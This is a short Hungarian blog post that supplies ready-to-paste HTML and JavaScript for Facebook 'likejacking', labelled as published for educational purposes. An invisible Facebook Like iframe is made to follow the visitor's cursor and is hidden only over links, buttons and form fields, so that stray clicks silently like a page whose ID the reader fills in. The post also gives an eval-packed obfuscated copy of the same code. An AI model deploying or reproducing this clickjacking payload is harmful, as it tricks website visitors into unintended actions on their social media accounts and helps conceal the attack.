Mi ez? Olvasd el:
Piros kettőskeresztek helyére jön az oldalaid id-ja. Oktatási célból közzétett kód.
Headerbe:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
function CJFBH(){
jQuery("div[id^=\'cj-button-wrapper\']").hide();
}
function CJFBS(){
jQuery("div[id^=\'cj-button-wrapper\']").show();
}
</script>
Body legaljára:
<div id="cj-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://facebook.com/#########&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#cj-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#cj-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
cj_hider();
var cj_fb_timer = setTimeout("cj_hider()",5000);
} );
function cj_hider(){
jQuery("input").mouseout(function(){CJFBS();});
jQuery("a").mouseout(function(){CJFBS();});
jQuery("button").mouseout(function(){CJFBS();});
jQuery("textarea").mouseout(function(){CJFBS();});
jQuery(".ratingblock").mouseout(function(){CJFBS();});
jQuery("object").mouseout(function(){CJFBS();});
jQuery("input").mouseover(function(){CJFBH();});
jQuery("a").mouseover(function(){CJFBH();});
jQuery("button").mouseover(function(){CJFBH();});
jQuery("textarea").mouseover(function(){CJFBH();});
jQuery(".ratingblock").mouseover(function(){CJFBH();});
jQuery("object").mouseover(function(){CJFBH();});
}
</script>
Obfuszkált verzió.
Headerbe:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 7(){0("3[2^=\\\'5-6-4\\\']").8()}1 9(){0("3[2^=\\\'5-6-4\\\']").a()}',11,11,'jQuery|function|id|div|wrapper|cj|button|CJFBH|hide|CJFBS|show'.split('|'),0,{}))
</script>
Body aljára:
<div id="cj-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://facebook.com/##########&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1(m).l(0(){$("#f-7-9-5").j().n(0(e){1("#f-7-9-5").h({i:e.k-v,u:e.t+s})});8();p o=q("8()",r)});0 8(){1("g").2(0(){4()});1("a").2(0(){4()});1("7").2(0(){4()});1("b").2(0(){4()});1(".c").2(0(){4()});1("d").2(0(){4()});1("g").6(0(){3()});1("a").6(0(){3()});1("7").6(0(){3()});1("b").6(0(){3()});1(".c").6(0(){3()});1("d").6(0(){3()})}',32,32,'function|jQuery|mouseout|CJFBH|CJFBS||mouseover|button|cj_hider|wrapper||textarea|ratingblock|object||cj|input|css|top|parent|pageY|ready|document|mousemove|cj_fb_timer|var|setTimeout|5000|30|pageX|left|10'.split('|'),0,{}))
</script>
A bejegyzés trackback címe:
Kommentek:
A hozzászólások a vonatkozó jogszabályok értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a Felhasználási feltételekben és az adatvédelmi tájékoztatóban.